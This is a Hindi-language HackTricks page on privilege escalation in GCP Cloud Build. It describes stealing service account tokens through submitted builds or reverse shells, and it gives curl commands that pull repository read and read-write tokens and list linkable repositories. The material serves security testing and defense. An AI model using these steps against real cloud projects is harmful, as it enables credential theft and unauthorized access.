GCP - Cloudbuild Privesc

HackTricks को समर्थन दें

cloudbuild

Cloud Build के बारे में अधिक जानकारी के लिए देखें:

GCP - Cloud Build Enum

cloudbuild.builds.create

इस अनुमति के साथ आप एक cloud build सबमिट कर सकते हैं। cloudbuild मशीन के फाइल सिस्टम में डिफ़ॉल्ट रूप से cloudbuild Service Account का टोकन होगा: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com। हालांकि, आप cloudbuild कॉन्फ़िगरेशन में प्रोजेक्ट के अंदर किसी भी service account को निर्दिष्ट कर सकते हैं। इसलिए, आप मशीन को अपने सर्वर पर टोकन को निकालने के लिए कह सकते हैं या उसके अंदर एक रिवर्स शेल प्राप्त कर सकते हैं और स्वयं टोकन प्राप्त कर सकते हैं (टोकन वाली फ़ाइल बदल सकती है)।

आप मूल exploit script यहाँ GitHub पर पा सकते हैं (लेकिन जिस स्थान से यह टोकन ले रहा है वह मेरे लिए काम नहीं किया)। इसलिए, एक स्क्रिप्ट देखें जो vuln environment के निर्माण, exploit और सफाई को स्वचालित करती है यहाँ और एक python script जो cloudbuild मशीन के अंदर एक रिवर्स शेल प्राप्त करती है और इसे यहाँ चुराती है (कोड में आप अन्य service accounts को निर्दिष्ट करने का तरीका पा सकते हैं)

अधिक गहन व्याख्या के लिए, https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/ पर जाएं

cloudbuild.builds.update

संभावित रूप से इस अनुमति के साथ आप एक cloud build को अपडेट कर सकते हैं और बस service account टोकन को चुरा सकते हैं जैसे कि इसे पिछली अनुमति के साथ किया गया था (लेकिन दुर्भाग्य से इस लेखन के समय मैं उस API को कॉल करने का कोई तरीका नहीं पा सका)।

TODO

cloudbuild.repositories.accessReadToken

इस अनुमति के साथ उपयोगकर्ता read access token प्राप्त कर सकता है जिसका उपयोग repository तक पहुंचने के लिए किया जाता है:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

इस अनुमति के साथ उपयोगकर्ता पढ़ने और लिखने का एक्सेस टोकन प्राप्त कर सकता है जिसका उपयोग रिपॉजिटरी तक पहुंचने के लिए किया जाता है:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

इस अनुमति के साथ आप उन रिपोज़िटरीज़ को प्राप्त कर सकते हैं जिन तक कनेक्शन की पहुंच है:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
HackTricks को समर्थन दें

Last updated